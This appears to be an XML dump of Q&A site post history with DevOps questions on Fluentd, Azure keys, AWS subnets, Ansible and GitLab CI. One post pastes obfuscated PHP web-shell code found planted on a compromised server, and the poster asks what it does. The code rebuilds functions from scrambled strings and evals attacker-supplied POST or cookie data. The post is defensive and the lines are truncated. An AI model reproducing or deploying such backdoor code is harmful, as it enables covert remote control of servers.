  <row Id="25969" PostHistoryTypeId="2" PostId="8857" RevisionGUID="52ab8fd5-8bc1-4fa2-b5fd-bbb2e6bf96f7" CreationDate="2019-08-09T15:26:14.733" UserId="16445" Text="I'm using Fluentd for shipping two types of logs to Elasticsearch cluster (application and syslog). And I'd like to assign different indices to them.&#xD;&#xA;Here is my try but it doesn't work. Could anybody point me where is my mistake? Thanks &#xD;&#xA;```&#xD;&#xA;  &lt;source&gt;&#xD;&#xA;    @type tail&#xD;&#xA;    path &quot;/var/log/containers/*.log&quot;&#xD;&#xA;    pos_file &quot;/var/log/fluentd-containers.log.pos&quot;&#xD;&#xA;    time_format %Y-%m-%dT%H:%M:%S.%NZ&#xD;&#xA;    tag &quot;kubernetes.*&quot;&#xD;&#xA;    keep_time_key true&#xD;&#xA;    format json&#xD;&#xA;    &lt;parse&gt;&#xD;&#xA;      time_format %Y-%m-%dT%H:%M:%S.%NZ&#xD;&#xA;      keep_time_key true&#xD;&#xA;      @type json&#xD;&#xA;      time_type string&#xD;&#xA;    &lt;/parse&gt;&#xD;&#xA;  &lt;/source&gt;&#xD;&#xA;  &lt;source&gt;&#xD;&#xA;    @type tail&#xD;&#xA;    path &quot;/var/log/syslog&quot;&#xD;&#xA;    pos_file &quot;/var/log/fluentd-syslog.pos&quot;&#xD;&#xA;    format syslog&#xD;&#xA;    tag &quot;syslog.*&quot;&#xD;&#xA;    &lt;parse&gt;&#xD;&#xA;      @type syslog&#xD;&#xA;    &lt;/parse&gt;&#xD;&#xA;  &lt;/source&gt;&#xD;&#xA;  &lt;filter kubernetes.**&gt;&#xD;&#xA;    @type concat&#xD;&#xA;    key &quot;log&quot;&#xD;&#xA;    multiline_start_regexp &quot;/^\\d{4}-\\d{1,2}-\\d{1,2}/&quot;&#xD;&#xA;  &lt;/filter&gt;&#xD;&#xA;  &lt;filter kubernetes.**&gt;&#xD;&#xA;    @type kubernetes_metadata&#xD;&#xA;  &lt;/filter&gt;&#xD;&#xA;  &lt;match kubernetes.*&gt;&#xD;&#xA;    @type aws-elasticsearch-service&#xD;&#xA;    type_name &quot;kube-fluentd-aws-es&quot;&#xD;&#xA;    logstash_format true&#xD;&#xA;    include_tag_key true&#xD;&#xA;    tag_key &quot;@log_name&quot;&#xD;&#xA;    @log_level &quot;info&quot;&#xD;&#xA;    &lt;endpoint&gt;&#xD;&#xA;      url &quot;https://url.amazonaws.com&quot;&#xD;&#xA;      region &quot;us-east-z&quot;&#xD;&#xA;      access_key_id &quot;ACCESSKEYID&quot;&#xD;&#xA;      secret_access_key &quot;SECRETACCESSKEY&quot;&#xD;&#xA;    &lt;/endpoint&gt;&#xD;&#xA;    &lt;buffer&gt;&#xD;&#xA;      @type &quot;file&quot;&#xD;&#xA;      flush_mode interval&#xD;&#xA;      flush_interval 1s&#xD;&#xA;      flush_thread_count 2&#xD;&#xA;      retry_forever &#xD;&#xA;      chunk_limit_size 2MB&#xD;&#xA;      queued_chunks_limit_size 2&#xD;&#xA;      total_limit_size 20GB&#xD;&#xA;      path &quot;/var/log/fluentd&quot;&#xD;&#xA;      overflow_action block&#xD;&#xA;    &lt;/buffer&gt;&#xD;&#xA;  &lt;/match&gt;&#xD;&#xA;  &lt;match syslog.*&gt;&#xD;&#xA;    @type aws-elasticsearch-service&#xD;&#xA;    type_name &quot;kube-fluentd-aws-es&quot;&#xD;&#xA;    logstash_format true&#xD;&#xA;    index_name &quot;syslog&quot;&#xD;&#xA;    include_tag_key true&#xD;&#xA;    tag_key &quot;@log_name&quot;&#xD;&#xA;    @log_level &quot;info&quot;&#xD;&#xA;    &lt;endpoint&gt;&#xD;&#xA;      url &quot;https://url.amazonaws.com&quot;&#xD;&#xA;      region &quot;us-east-z&quot;&#xD;&#xA;      access_key_id &quot;ACCESKEYID&quot;&#xD;&#xA;      secret_access_key &quot;SECRETACCESKEY&quot;&#xD;&#xA;    &lt;/endpoint&gt;&#xD;&#xA;    &lt;buffer&gt;&#xD;&#xA;      @type &quot;file&quot;&#xD;&#xA;      flush_mode interval&#xD;&#xA;      flush_interval 1s&#xD;&#xA;      flush_thread_count 2&#xD;&#xA;      retry_forever &#xD;&#xA;      chunk_limit_size 2MB&#xD;&#xA;      queued_chunks_limit_size 2&#xD;&#xA;      total_limit_size 20GB&#xD;&#xA;      path &quot;/var/log/fluentdsyslog&quot;&#xD;&#xA;      overflow_action block&#xD;&#xA;    &lt;/buffer&gt;&#xD;&#xA;  &lt;/match&gt;&#xD;&#xA;``` " ContentLicense="CC BY-SA 4.0" />
  <row Id="25970" PostHistoryTypeId="1" PostId="8857" RevisionGUID="52ab8fd5-8bc1-4fa2-b5fd-bbb2e6bf96f7" CreationDate="2019-08-09T15:26:14.733" UserId="16445" Text="Fluentd log shipment. Index assigning" ContentLicense="CC BY-SA 4.0" />
  <row Id="25971" PostHistoryTypeId="3" PostId="8857" RevisionGUID="52ab8fd5-8bc1-4fa2-b5fd-bbb2e6bf96f7" CreationDate="2019-08-09T15:26:14.733" UserId="16445" Text="&lt;logging&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25980" PostHistoryTypeId="2" PostId="8860" RevisionGUID="6aa43666-9573-420a-9c3a-554f82b7e12d" CreationDate="2019-08-09T19:50:15.433" UserId="16451" Text="The `Azure CLI` official documentation states that environmental variables can be used inside bash scripts to store `AZURE_STORAGE_ACCOUNT` and `AZURE_STORAGE_KEY`, like this:&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/RPjlX.png&#xD;&#xA;&#xD;&#xA;Compared to `AWS CLI` this method is less secure since it stores the `AZURE_STORAGE_KEY` in plain text in the bash script.&#xD;&#xA;&#xD;&#xA;`AWS CLI`, on the other hand, saves the key and the secret in encrypted format in user's home folder under `~/.aws` folder.&#xD;&#xA;&#xD;&#xA;Does `Azure CLI` provide similar functionality, or is there any better way to store the key safely in the system?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25981" PostHistoryTypeId="1" PostId="8860" RevisionGUID="6aa43666-9573-420a-9c3a-554f82b7e12d" CreationDate="2019-08-09T19:50:15.433" UserId="16451" Text="Securely saving AZURE_STORAGE_KEY and storage account name in Linux systems" ContentLicense="CC BY-SA 4.0" />
  <row Id="25982" PostHistoryTypeId="3" PostId="8860" RevisionGUID="6aa43666-9573-420a-9c3a-554f82b7e12d" CreationDate="2019-08-09T19:50:15.433" UserId="16451" Text="&lt;azure&gt;&lt;security&gt;&lt;encryption&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25983" PostHistoryTypeId="2" PostId="8861" RevisionGUID="24aa195b-1f07-4ae6-bab7-b9a729250e86" CreationDate="2019-08-09T20:21:46.780" UserId="15771" Text="I'm testing some cloudformation infrastructure templates, and I noticed that most of the examples include routing tables to connect private subnets to public subnets, but my question then is:&#xD;&#xA;&#xD;&#xA;if two private subnets exist in different AZs (and are attached to individual routing tables) and the resources within them may need to access a resource on the other subnet (for example a private service on the subnet 1 accessing a database on the subnet 2)&#xD;&#xA;&#xD;&#xA; 1. **Should I create a route to connect the two private subnets in each of their routing tables?**&#xD;&#xA; 2. **Would it be a better practice to attach both subnets to a single shared routing table (both CIDRs are contiguous)?**&#xD;&#xA;&#xD;&#xA; " ContentLicense="CC BY-SA 4.0" />
  <row Id="25984" PostHistoryTypeId="1" PostId="8861" RevisionGUID="24aa195b-1f07-4ae6-bab7-b9a729250e86" CreationDate="2019-08-09T20:21:46.780" UserId="15771" Text="aws - Connect two private subnets?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25985" PostHistoryTypeId="3" PostId="8861" RevisionGUID="24aa195b-1f07-4ae6-bab7-b9a729250e86" CreationDate="2019-08-09T20:21:46.780" UserId="15771" Text="&lt;amazon-web-services&gt;&lt;networking&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25986" PostHistoryTypeId="2" PostId="8862" RevisionGUID="7b7f66f9-2608-486d-91e4-ad8826c82544" CreationDate="2019-08-09T21:09:04.387" UserId="8800" Text="Are they in the same VPC? If yes it should just work as the VPC CIDR route will take care of all the subnets intercommunication. " ContentLicense="CC BY-SA 4.0" />
  <row Id="25988" PostHistoryTypeId="50" PostId="3999" RevisionGUID="1a7ebad5-ef12-4228-950d-82446f18413c" CreationDate="2019-08-10T00:01:42.667" UserId="-1" />
  <row Id="25989" PostHistoryTypeId="50" PostId="2640" RevisionGUID="2e067b07-18e7-4cc4-8a8a-68b1a3358a4d" CreationDate="2019-08-10T17:02:00.233" UserId="-1" />
  <row Id="25996" PostHistoryTypeId="34" PostId="8723" RevisionGUID="3bf0dce8-c51c-456d-823a-26f3b470a489" CreationDate="2019-08-10T20:07:44.267" UserId="16221" Comment="39" />
  <row Id="25997" PostHistoryTypeId="2" PostId="8865" RevisionGUID="5ebf9e13-91d2-4be7-894a-009a06b1b7c7" CreationDate="2019-08-10T21:28:31.370" UserId="16489" Text="Every so often I go back and check our server and find random files uploaded to the domain root directory. They are seemingly cryptic and have names like &#xD;&#xA;```&#xD;&#xA;css2.php              db_model.php          .htaccess             menu57.php            rss_feeder.class.php  stats21.php           title.php   &#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This is the contents of one of them (db_model.php) but they all look similar. &#xD;&#xA;```&#xD;&#xA;&lt;?php&#xD;&#xA;&#xD;&#xA;$alphabet = &quot;.hyib/;dq4ux9*zjmclp3_r80)t(vakng1s2foe75w6&quot;;&#xD;&#xA;$string = &quot;Z2xvYmFsICRhdXRoX3Bhc3MsJGNvbG9yLCRkZWZhdWx0X2FjdGlvbiwkZGVmYXVsdF91c2VfYWpheCwkZGVmYXVsdF9jaGFyc2V0LCRzb3J0Ow0KZ2xvYmFsICRjd2QsJG9zLCRzYWZlX21vZGUsICRpbjsNCg0KJGF1dGhfcGFzcyA9ICdmMzI0MmRjYzU5$&#xD;&#xA;$array_name = &quot;&quot;;&#xD;&#xA;$ar = array(4,29,34,38,42,9,21,7,38,17,37,7,38);&#xD;&#xA;foreach($ar as $t){&#xD;&#xA;   $array_name .= $alphabet[$t];&#xD;&#xA;}&#xD;&#xA;$a = strrev(&quot;noi&quot;.&quot;tcnuf&quot;.&quot;_eta&quot;.&quot;erc&quot;);&#xD;&#xA;$f = $a(&quot;&quot;, $array_name($string));&#xD;&#xA;$f();&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;From another file, title.php:&#xD;&#xA;```&#xD;&#xA;&lt;?php ${&quot;\x47\x4c\x4fB\x41\x4c\x53&quot;}['ae767'] = &quot;\x3e\x44\x36\x6d\xd\x73\x34\x49\x7b\x4c\x7a\x52\x5a\x5d\x2a\x74\x3f\x72\x6c\x50\x4f\x5e\x6f\x6a\x65\x68\x4a\x37\x3d\x48\x23\x9\x69\x4b\x55\x61\x42\x7d\x32$&#xD;&#xA;$GLOBALS[$GLOBALS['ae767'][56].$GLOBALS['ae767'][92].$GLOBALS['ae767'][2].$GLOBALS['ae767'][75]] = $GLOBALS['ae767'][91].$GLOBALS['ae767'][25].$GLOBALS['ae767'][17];&#xD;&#xA;$GLOBALS[$GLOBALS['ae767'][5].$GLOBALS['ae767'][56].$GLOBALS['ae767'][56].$GLOBALS['ae767'][38].$GLOBALS['ae767'][82].$GLOBALS['ae767'][42].$GLOBALS['ae767'][24]] = $GLOBALS['ae767'][22].$GLOBALS['ae767'$&#xD;&#xA;$GLOBALS[$GLOBALS['ae767'][18].$GLOBALS['ae767'][82].$GLOBALS['ae767'][92].$GLOBALS['ae767'][42]] = $GLOBALS['ae767'][5].$GLOBALS['ae767'][15].$GLOBALS['ae767'][17].$GLOBALS['ae767'][18].$GLOBALS['ae767'$&#xD;&#xA;$GLOBALS[$GLOBALS['ae767'][41].$GLOBALS['ae767'][66].$GLOBALS['ae767'][43].$GLOBALS['ae767'][71].$GLOBALS['ae767'][2].$GLOBALS['ae767'][92].$GLOBALS['ae767'][43].$GLOBALS['ae767'][83]] = $GLOBALS['ae767'$&#xD;&#xA;$GLOBALS[$GLOBALS['ae767'][49].$GLOBALS['ae767'][27].$GLOBALS['ae767'][2].$GLOBALS['ae767'][75].$GLOBALS['ae767'][42].$GLOBALS['ae767'][27].$GLOBALS['ae767'][35].$GLOBALS['ae767'][75]] = $GLOBALS['ae767'$&#xD;&#xA;$GLOBALS[$GLOBALS['ae767'][5].$GLOBALS['ae767'][92].$GLOBALS['ae767'][42].$GLOBALS['ae767'][43].$GLOBALS['ae767'][27].$GLOBALS['ae767'][6].$GLOBALS['ae767'][82]] = $GLOBALS['ae767'][58].$GLOBALS['ae767']$&#xD;&#xA;$GLOBALS[$GLOBALS['ae767'][41].$GLOBALS['ae767'][66].$GLOBALS['ae767'][2].$GLOBALS['ae767'][82]] = $GLOBALS['ae767'][62].$GLOBALS['ae767'][41].$GLOBALS['ae767'][5].$GLOBALS['ae767'][24].$GLOBALS['ae767']$&#xD;&#xA;$GLOBALS[$GLOBALS['ae767'][49].$GLOBALS['ae767'][6].$GLOBALS['ae767'][92].$GLOBALS['ae767'][92].$GLOBALS['ae767'][82].$GLOBALS['ae767'][82].$GLOBALS['ae767'][2].$GLOBALS['ae767'][56]] = $GLOBALS['ae767']$&#xD;&#xA;$GLOBALS[$GLOBALS['ae767'][81].$GLOBALS['ae767'][27].$GLOBALS['ae767'][56].$GLOBALS['ae767'][2].$GLOBALS['ae767'][6].$GLOBALS['ae767'][2]] = $GLOBALS['ae767'][5].$GLOBALS['ae767'][24].$GLOBALS['ae767'][1$&#xD;&#xA;$GLOBALS[$GLOBALS['ae767'][18].$GLOBALS['ae767'][91].$GLOBALS['ae767'][91].$GLOBALS['ae767'][66].$GLOBALS['ae767'][56].$GLOBALS['ae767'][35].$GLOBALS['ae767'][92].$GLOBALS['ae767'][83]] = $GLOBALS['ae767$&#xD;&#xA;$GLOBALS[$GLOBALS['ae767'][24].$GLOBALS['ae767'][82].$GLOBALS['ae767'][92].$GLOBALS['ae767'][71].$GLOBALS['ae767'][2].$GLOBALS['ae767'][43].$GLOBALS['ae767'][27]] = $GLOBALS['ae767'][10].$GLOBALS['ae767'$&#xD;&#xA;$GLOBALS[$GLOBALS['ae767'][48].$GLOBALS['ae767'][42].$GLOBALS['ae767'][42].$GLOBALS['ae767'][27].$GLOBALS['ae767'][66]] = $_POST;&#xD;&#xA;$GLOBALS[$GLOBALS['ae767'][18].$GLOBALS['ae767'][82].$GLOBALS['ae767'][71].$GLOBALS['ae767'][43].$GLOBALS['ae767'][27].$GLOBALS['ae767'][82].$GLOBALS['ae767'][91]] = $_COOKIE;&#xD;&#xA;@$GLOBALS[$GLOBALS['ae767'][41].$GLOBALS['ae767'][66].$GLOBALS['ae767'][43].$GLOBALS['ae767'][71].$GLOBALS['ae767'][2].$GLOBALS['ae767'][92].$GLOBALS['ae767'][43].$GLOBALS['ae767'][83]]($GLOBALS['ae767']$&#xD;&#xA;@$GLOBALS[$GLOBALS['ae767'][41].$GLOBALS['ae767'][66].$GLOBALS['ae767'][43].$GLOBALS['ae767'][71].$GLOBALS['ae767'][2].$GLOBALS['ae767'][92].$GLOBALS['ae767'][43].$GLOBALS['ae767'][83]]($GLOBALS['ae767']$&#xD;&#xA;@$GLOBALS[$GLOBALS['ae767'][41].$GLOBALS['ae767'][66].$GLOBALS['ae767'][43].$GLOBALS['ae767'][71].$GLOBALS['ae767'][2].$GLOBALS['ae767'][92].$GLOBALS['ae767'][43].$GLOBALS['ae767'][83]]($GLOBALS['ae767']$&#xD;&#xA;@$GLOBALS[$GLOBALS['ae767'][81].$GLOBALS['ae767'][27].$GLOBALS['ae767'][56].$GLOBALS['ae767'][2].$GLOBALS['ae767'][6].$GLOBALS['ae767'][2]](0);&#xD;&#xA;&#xD;&#xA;$z0503b8 = NULL;&#xD;&#xA;$afb153 = NULL;&#xD;&#xA;&#xD;&#xA;$GLOBALS[$GLOBALS['ae767'][81].$GLOBALS['ae767'][92].$GLOBALS['ae767'][35].$GLOBALS['ae767'][91].$GLOBALS['ae767'][2].$GLOBALS['ae767'][27]] = $GLOBALS['ae767'][75].$GLOBALS['ae767'][35].$GLOBALS['ae767'$&#xD;&#xA;global $k5ac67;&#xD;&#xA;&#xD;&#xA;function z629f($z0503b8, $mf97830)&#xD;&#xA;{&#xD;&#xA;    $t7aae05 = &quot;&quot;;&#xD;&#xA;&#xD;&#xA;    for ($u9ce42=0; $u9ce42&lt;$GLOBALS[$GLOBALS['ae767'][18].$GLOBALS['ae767'][82].$GLOBALS['ae767'][92].$GLOBALS['ae767'][42]]($z0503b8);)&#xD;&#xA;    {&#xD;&#xA;        for ($w21eb399=0; $w21eb399&lt;$GLOBALS[$GLOBALS['ae767'][18].$GLOBALS['ae767'][82].$GLOBALS['ae767'][92].$GLOBALS['ae767'][42]]($mf97830) &amp;&amp; $u9ce42&lt;$GLOBALS[$GLOBALS['ae767'][18].$GLOBALS['ae767']$&#xD;&#xA;        {&#xD;&#xA;            $t7aae05 .= $GLOBALS[$GLOBALS['ae767'][56].$GLOBALS['ae767'][92].$GLOBALS['ae767'][2].$GLOBALS['ae767'][75]]($GLOBALS[$GLOBALS['ae767'][5].$GLOBALS['ae767'][56].$GLOBALS['ae767'][56].$GLOBALS$&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    return $t7aae05;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;function a774bfe($z0503b8, $mf97830)&#xD;&#xA;{&#xD;&#xA;    global $k5ac67;&#xD;&#xA;&#xD;&#xA;    return $GLOBALS[$GLOBALS['ae767'][24].$GLOBALS['ae767'][82].$GLOBALS['ae767'][92].$GLOBALS['ae767'][71].$GLOBALS['ae767'][2].$GLOBALS['ae767'][43].$GLOBALS['ae767'][27]]($GLOBALS[$GLOBALS['ae767'][24$&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;foreach ($GLOBALS[$GLOBALS['ae767'][18].$GLOBALS['ae767'][82].$GLOBALS['ae767'][71].$GLOBALS['ae767'][43].$GLOBALS['ae767'][27].$GLOBALS['ae767'][82].$GLOBALS['ae767'][91]] as $mf97830=&gt;$sf8707d0)&#xD;&#xA;{&#xD;&#xA;    $z0503b8 = $sf8707d0;&#xD;&#xA;    $afb153 = $mf97830;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;if (!$z0503b8)&#xD;&#xA;{&#xD;&#xA;    foreach ($GLOBALS[$GLOBALS['ae767'][48].$GLOBALS['ae767'][42].$GLOBALS['ae767'][42].$GLOBALS['ae767'][27].$GLOBALS['ae767'][66]] as $mf97830=&gt;$sf8707d0)&#xD;&#xA;    {&#xD;&#xA;        $z0503b8 = $sf8707d0;&#xD;&#xA;        $afb153 = $mf97830;&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;$z0503b8 = @$GLOBALS[$GLOBALS['ae767'][41].$GLOBALS['ae767'][66].$GLOBALS['ae767'][2].$GLOBALS['ae767'][82]]($GLOBALS[$GLOBALS['ae767'][18].$GLOBALS['ae767'][91].$GLOBALS['ae767'][91].$GLOBALS['ae767'][6$&#xD;&#xA;if (isset($z0503b8[$GLOBALS['ae767'][35].$GLOBALS['ae767'][81]]) &amp;&amp; $k5ac67==$z0503b8[$GLOBALS['ae767'][35].$GLOBALS['ae767'][81]])&#xD;&#xA;{&#xD;&#xA;    if ($z0503b8[$GLOBALS['ae767'][35]] == $GLOBALS['ae767'][32])&#xD;&#xA;    {&#xD;&#xA;        $u9ce42 = Array(&#xD;&#xA;            $GLOBALS['ae767'][58].$GLOBALS['ae767'][40] =&gt; @$GLOBALS[$GLOBALS['ae767'][5].$GLOBALS['ae767'][92].$GLOBALS['ae767'][42].$GLOBALS['ae767'][43].$GLOBALS['ae767'][27].$GLOBALS['ae767'][6].$GLO$&#xD;&#xA;            $GLOBALS['ae767'][5].$GLOBALS['ae767'][40] =&gt; $GLOBALS['ae767'][75].$GLOBALS['ae767'][85].$GLOBALS['ae767'][42].$GLOBALS['ae767'][60].$GLOBALS['ae767'][75],&#xD;&#xA;        );&#xD;&#xA;        echo @$GLOBALS[$GLOBALS['ae767'][49].$GLOBALS['ae767'][27].$GLOBALS['ae767'][2].$GLOBALS['ae767'][75].$GLOBALS['ae767'][42].$GLOBALS['ae767'][27].$GLOBALS['ae767'][35].$GLOBALS['ae767'][75]]($u9c$&#xD;&#xA;    }&#xD;&#xA;    elseif ($z0503b8[$GLOBALS['ae767'][35]] == $GLOBALS['ae767'][24])&#xD;&#xA;    {&#xD;&#xA;        eval($z0503b8[$GLOBALS['ae767'][56]]);&#xD;&#xA;    }&#xD;&#xA;    exit();&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Clearly we need to harden our Ubuntu installation to prevent this from happening over again.&#xD;&#xA;But what in the world does this code do?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25998" PostHistoryTypeId="1" PostId="8865" RevisionGUID="5ebf9e13-91d2-4be7-894a-009a06b1b7c7" CreationDate="2019-08-10T21:28:31.370" UserId="16489" Text="Hacking attempts to our server - what does this code do?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25999" PostHistoryTypeId="3" PostId="8865" RevisionGUID="5ebf9e13-91d2-4be7-894a-009a06b1b7c7" CreationDate="2019-08-10T21:28:31.370" UserId="16489" Text="&lt;servers&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26000" PostHistoryTypeId="2" PostId="8866" RevisionGUID="0532298c-0dd3-4ca7-8924-f07a4b3ed408" CreationDate="2019-08-10T23:01:18.277" UserId="13111" Text="Your statements look ok. If I create a test case from the sparse info you provided and what I can observe when gathering facts from my own hosts, I can detect old/recent distributions correctly using your conditions. See my example below.&#xD;&#xA;&#xD;&#xA;I suggest you double check the data gathered from your host to understand why it doesn't match. The easiest way for that: from the same host your use to launch your playbook, run&#xD;&#xA;```&#xD;&#xA;ansible -i path/to/your_inventory.ini your_target_group_name -m setup -a &quot;filter=ansible_distribution*&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Here is the `test.yml` playbook I wrote to test your (known-so-far) values and your conditions&#xD;&#xA;```&#xD;&#xA;---&#xD;&#xA;- name: Statements for checking old/recent distribs&#xD;&#xA;  hosts: localhost&#xD;&#xA;  gather_facts: false&#xD;&#xA;&#xD;&#xA;  vars:&#xD;&#xA;    os_list:&#xD;&#xA;      - ansible_distribution: &quot;Amazon&quot;&#xD;&#xA;        ansible_distribution_version: &quot;(Karoo)&quot;&#xD;&#xA;        ansible_distribution_major_version: &quot;(Karoo)&quot;&#xD;&#xA;      - ansible_distribution: &quot;Amazon&quot;&#xD;&#xA;        ansible_distribution_version: &quot;2018.03&quot;&#xD;&#xA;        ansible_distribution_major_version: &quot;2018&quot;&#xD;&#xA;      - ansible_distribution: &quot;RedHat&quot;&#xD;&#xA;        ansible_distribution_version: &quot;6.x&quot;&#xD;&#xA;        ansible_distribution_major_version: &quot;6&quot;&#xD;&#xA;      - ansible_distribution: &quot;RedHat&quot;&#xD;&#xA;        ansible_distribution_version: &quot;7.x&quot;&#xD;&#xA;        ansible_distribution_major_version: &quot;7&quot;&#xD;&#xA;&#xD;&#xA;  tasks:&#xD;&#xA;&#xD;&#xA;    - name: Check conditions for recent distribs&#xD;&#xA;      debug:&#xD;&#xA;        msg: &quot;This is a recent distrib&quot;&#xD;&#xA;      loop: &quot;{{ os_list }}&quot;&#xD;&#xA;      loop_control:&#xD;&#xA;        label: &quot;{{ item.ansible_distribution }}-{{ item.ansible_distribution_version }}&quot;&#xD;&#xA;      when: (&#xD;&#xA;              item.ansible_distribution == &quot;Amazon&quot;&#xD;&#xA;              and&#xD;&#xA;              item.ansible_distribution_version == &quot;(Karoo)&quot;&#xD;&#xA;            )&#xD;&#xA;            or&#xD;&#xA;            (&#xD;&#xA;              item.ansible_distribution == &quot;RedHat&quot;&#xD;&#xA;              and&#xD;&#xA;              item.ansible_distribution_major_version == &quot;7&quot;&#xD;&#xA;            )&#xD;&#xA;&#xD;&#xA;    - name: Check conditions for old distribs&#xD;&#xA;      debug:&#xD;&#xA;        msg: &quot;This is an old distrib&quot;&#xD;&#xA;      loop: &quot;{{ os_list }}&quot;&#xD;&#xA;      loop_control:&#xD;&#xA;        label: &quot;{{ item.ansible_distribution }}-{{ item.ansible_distribution_version }}&quot;&#xD;&#xA;      when: (&#xD;&#xA;              item.ansible_distribution == &quot;Amazon&quot;&#xD;&#xA;              and&#xD;&#xA;              item.ansible_distribution_version == &quot;2018.03&quot;&#xD;&#xA;            )&#xD;&#xA;            or&#xD;&#xA;            (&#xD;&#xA;              item.ansible_distribution == &quot;RedHat&quot;&#xD;&#xA;              and&#xD;&#xA;              item.ansible_distribution_major_version == &quot;6&quot;&#xD;&#xA;            )&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;And the result&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;PLAY [Statements for checking old/recent distribs] ************************************************************************************************************************************************************************&#xD;&#xA;&#xD;&#xA;TASK [Check conditions for recent distribs] *******************************************************************************************************************************************************************************&#xD;&#xA;ok: [localhost] =&gt; (item=Amazon-(Karoo)) =&gt; {&#xD;&#xA;    &quot;msg&quot;: &quot;This is a recent distrib&quot;&#xD;&#xA;}&#xD;&#xA;skipping: [localhost] =&gt; (item=Amazon-2018.03) &#xD;&#xA;skipping: [localhost] =&gt; (item=RedHat-6.x) &#xD;&#xA;ok: [localhost] =&gt; (item=RedHat-7.x) =&gt; {&#xD;&#xA;    &quot;msg&quot;: &quot;This is a recent distrib&quot;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;TASK [Check conditions for old distribs] **********************************************************************************************************************************************************************************&#xD;&#xA;skipping: [localhost] =&gt; (item=Amazon-(Karoo)) &#xD;&#xA;ok: [localhost] =&gt; (item=Amazon-2018.03) =&gt; {&#xD;&#xA;    &quot;msg&quot;: &quot;This is an old distrib&quot;&#xD;&#xA;}&#xD;&#xA;ok: [localhost] =&gt; (item=RedHat-6.x) =&gt; {&#xD;&#xA;    &quot;msg&quot;: &quot;This is an old distrib&quot;&#xD;&#xA;}&#xD;&#xA;skipping: [localhost] =&gt; (item=RedHat-7.x) &#xD;&#xA;&#xD;&#xA;PLAY RECAP ****************************************************************************************************************************************************************************************************************&#xD;&#xA;localhost                  : ok=2    changed=0    unreachable=0    failed=0    skipped=0    rescued=0    ignored=0   &#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;As you can see it does the job as expected. So either your data is not gathered correctly or your check the wrong values.&#xD;&#xA;&#xD;&#xA;**Note**: When @Vladimir Botka asks for an MCVE in the comments, this is a typical example." ContentLicense="CC BY-SA 4.0" />
  <row Id="26001" PostHistoryTypeId="50" PostId="6588" RevisionGUID="63157055-e134-4d0b-b336-a2797163ecb8" CreationDate="2019-08-11T00:01:30.160" UserId="-1" />
  <row Id="26002" PostHistoryTypeId="2" PostId="8867" RevisionGUID="0b7831da-3dd3-4959-b1bf-0b31c2f64db4" CreationDate="2019-08-11T00:58:03.587" UserId="16492" Text="Ansible provides a module for telnet provisioning. See:&#xD;&#xA;&#xD;&#xA;https://docs.ansible.com/ansible/latest/modules/telnet_module.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="26003" PostHistoryTypeId="50" PostId="6552" RevisionGUID="26b53575-c1e2-4d50-9cfc-4c507140d078" CreationDate="2019-08-11T01:00:55.090" UserId="-1" />
  <row Id="26004" PostHistoryTypeId="2" PostId="8868" RevisionGUID="caf642dc-a9d0-4081-a37d-5e918a21fadb" CreationDate="2019-08-11T10:39:31.440" UserId="11759" Text="I've installed the Gitlab local server and also install the Gitlab-runner and everything needs to use the CI/CD tools. After that When I run the CI/CD tools to build and deploy the project, it makes build failed.&#xD;&#xA;&#xD;&#xA;Error detail:&#xD;&#xA;&#xD;&#xA;    Using Docker executor with image alpine:latest ... &#xD;&#xA;    &#xD;&#xA;    ERROR: Failed to&#xD;&#xA;    create container volume for /builds/root Unable to load image:&#xD;&#xA;    gitlab-runner-prebuilt: &quot;open&#xD;&#xA;    /var/lib/gitlab-runner/gitlab-runner-prebuilt.tar.xz: no such file or&#xD;&#xA;    directory&quot; &#xD;&#xA;    &#xD;&#xA;    ERROR: Preparation failed: Unable to load image:&#xD;&#xA;    gitlab-runner-prebuilt: &quot;open&#xD;&#xA;    /var/lib/gitlab-runner/gitlab-runner-prebuilt.tar.xz: no such file or&#xD;&#xA;    directory&quot;&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;**What is the problem and how can I resolve it?**&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/a9FFN.png&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26005" PostHistoryTypeId="1" PostId="8868" RevisionGUID="caf642dc-a9d0-4081-a37d-5e918a21fadb" CreationDate="2019-08-11T10:39:31.440" UserId="11759" Text="Gitlab CI\CD Error: Failed to create container volume for /builds/root Unable to load image" ContentLicense="CC BY-SA 4.0" />
  <row Id="26006" PostHistoryTypeId="3" PostId="8868" RevisionGUID="caf642dc-a9d0-4081-a37d-5e918a21fadb" CreationDate="2019-08-11T10:39:31.440" UserId="11759" Text="&lt;docker&gt;&lt;gitlab&gt;&lt;continuous-deployment&gt;&lt;gitlab-ci-runner&gt;" ContentLicense="CC BY-SA 4.0" />
